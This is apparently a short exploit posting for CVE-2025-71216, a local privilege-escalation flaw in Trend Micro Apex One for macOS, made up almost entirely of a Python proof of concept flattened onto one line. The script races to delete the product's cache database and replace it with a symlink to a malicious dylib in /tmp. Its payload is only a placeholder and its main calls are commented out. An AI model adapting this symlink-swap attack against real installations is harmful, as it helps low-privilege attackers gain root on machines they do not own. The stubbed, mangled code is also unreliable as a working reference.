CVE-2025-71216 Trend Micro Apex One Mac本地提权漏洞

import os import time import threading # Conceptual PoC for TOCTOU on macOS # Exploit scenario: Race condition between file check and usage TARGET_CACHE_FILE = "/Library/Application Support/TrendMicro/Apex One/Cache/vuln.db" MALICIOUS_PAYLOAD = "/tmp/malicious_payload.dylib" def create_payload(): # Create a malicious library or executable with open(MALICIOUS_PAYLOAD, "wb") as f: f.write(b"\x00" * 100) # Placeholder for shellcode print("[+] Malicious payload created") def race_condition_exploit(): print("[*] Starting race condition attack...") while True: # Step 1: Monitor for the check phase (simplified) if os.path.exists(TARGET_CACHE_FILE): try: # Step 2: Replace file or swap symlink during the time window # In a real exploit, precise timing is crucial os.remove(TARGET_CACHE_FILE) os.symlink(MALICIOUS_PAYLOAD, TARGET_CACHE_FILE) print("[!] File replaced/swapped!") # Trigger the high-privilege process usage # This part depends on the specific agent behavior break except Exception as e: # Retry if file is locked or race failed pass time.sleep(0.001) # Tight loop for racing if __name__ == "__main__": # Prerequisite: Attacker already has low-privilege shell access # create_payload() # race_condition_exploit() print("This is a conceptual demonstration of a TOCTOU exploit.")